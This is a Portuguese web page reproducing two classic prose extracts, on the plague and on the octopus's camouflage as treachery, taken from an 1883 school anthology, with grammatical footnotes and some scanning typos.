“A peste” e “O Mimetismo” , por Antônio Feliciano de Castilhos

A peste

A razão por que tenho pelo mais desgraçado de todos os ma­les a peste, é porque nas outras enfermidades o maior benefício que vos pode fazer quem vos ama, é estar convosco; na peste, a maior consolação que vos pode dar quem amais, é fugir de vós. Mal em que o dizer: “estai comigo” é querer mal, e dizer: “fugi dc mim” é querer bem. Grande mal! Se a peste não fôra enfer­midade mortal, só por isso matara.

E [1]) quem se vê em tão miserável estado, que lhe é forçoso dizer a quem mais ama: “fugi de mim”, não lhe perguntem de que morre; êsse mal o matou.

Quem poderá bastantemente considerar e compreender as infelicidades, as misérias, as lástimas, os horrores, quexem si contém a desgraça geral de uma peste? — Os portos e/as bar)ras fechados, e os navegantes alongando-se ao mar, e não ^ó fugindo da costa, mas ainda dos ventos dela; os caminhos por terra tomados com severíssimas guardas; o comércio e a. comunicação humana total­mente impedida; as ruas desertas, cobertas de erva e mato, como nos contavam e viram nossos maiores nesta mesma cidade de Lis­boa; as portas trancadas com travessas almagradas; as sepulturas sempre abertas, não já nas igrejas e nos adros, senão nos campos; e talvez caindo nessas sepulturas mortos os mesmos vivos que le­varam a enterrar os defuntos; a fazenda adquirida com tanto tra­balho, guardada com tanta avareza, estimada com tanta cubiça, já lançada ou alijada, como em extrema tempestade, não à água senão ao fogo, e vendo-se arder sem dor; o amor natural do sangue ou atônito ou esquecido; os irmãos fugindo dos irmãos, os pais fu­gindo dos filhos, os maridos fugindo das mulheres, e todos queren­do fugir de si mesmos, mas não podendo, porque a saúde é indis- pensávelmente vedada e impossível.

A razão e a piedade têm ali cruelmente presos e sitiados os miseráveis, para que se mantenham a pé quedo entre si, e não saiam a matar os outros. (Idem).

Mimetismo

A previdente natureza não só proporcionou aos animais meios de defesa contra os inimigos, como também deu-lhes a faculdade de se disfarçarem e mudarem a sua aparência natural, quer na côr quer na forma, segundo os objetos que os cercam e o meio em que vivem.

A esta propriedade que têm certos animais, dão os naturalis­tas o nome de mimetismo.

Um dos exemplos mais curiosos dêste fenômeno oferece-nos c polvo. Eis como o descreve o inimitável Pe. Antônio Vieira.

Mas já que estamos nas covas do mar, antes que saiamos delas, temos lá o irmão polvo, contra o qual têm suas queixas e grandes, não menos que S. Basílio x) e S. Ambrósio[2]). O polvo com aquêle seu capelo na cabeça parece um monge; com aquêles seus raios estendidos parece uma estrêla; com aquêle não ter osso, nem espinha, parece a mesma brandura, a mesma mansidão. E de-baixo desta aparência tão modesta, ou desta hipocrisia tão san­ta; testemunham contestemente os dois grandes doutores da Igre­ja latina, e grega que o dito polvo é o maior traidor do mar. Con­siste esta traição do polvo primeiramente em se vestir, ou pintar das mesmas côres de tôdas aquelas coisas a que está pegado. As côres que no cameleão são gala, no polvo são malícia; as figuras que em Proteu são fábulas, no polvo são verdade e artifício. Se está no limo faz-se verde; se está na areia faz-se branco; se está no lôdo faz-se pardo; se está em alguma pedra, como mais ordinariemente costuma estar, faz-se da côr da mesma pédra. E daqui que sucede? Sucede que outro peixe inocente da traição vai pas­sando descautelado, e o salteador que está de emboscada dentre do seu próprio engano, lança-lhe os braços de-repente, e fá-lo pri­sioneiro. Fizera mais Judas? Não fizera mais, porque nem fêz tanto. Judas abraçou a Cristo, mas outros o prenderam; o polvo é o que abraça e mais o que prende. Judas com os braços fêz o sinal e o polvo dos próprios braços faz as cordas. Judas, é ver­dade que foi traidor, mas com lanternas diante; traçou a traição às escuras, mas executou-a muito às claras. O polvo escurecen- do-se a si tira a vista aos outros, e a primeira traição e roubo, que faz, é à luz para que não distinga as côres. Vê, peixe aleivoso e vil, qual é a tua maldade, pois Judas em tua comparação já é menos traidor. (Idem).


[1] Subentende-se a preposição a; sendo, portanto, expletivo o — lhe — da oração principal.

[2] Santo Ambrósio — um dos mais ilustres Padres e doutores da Igreja Latina. (343 – 397).

Fonte: Seleta em Prosa e Verso dos melhores autores brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição. Livraria Selbach.

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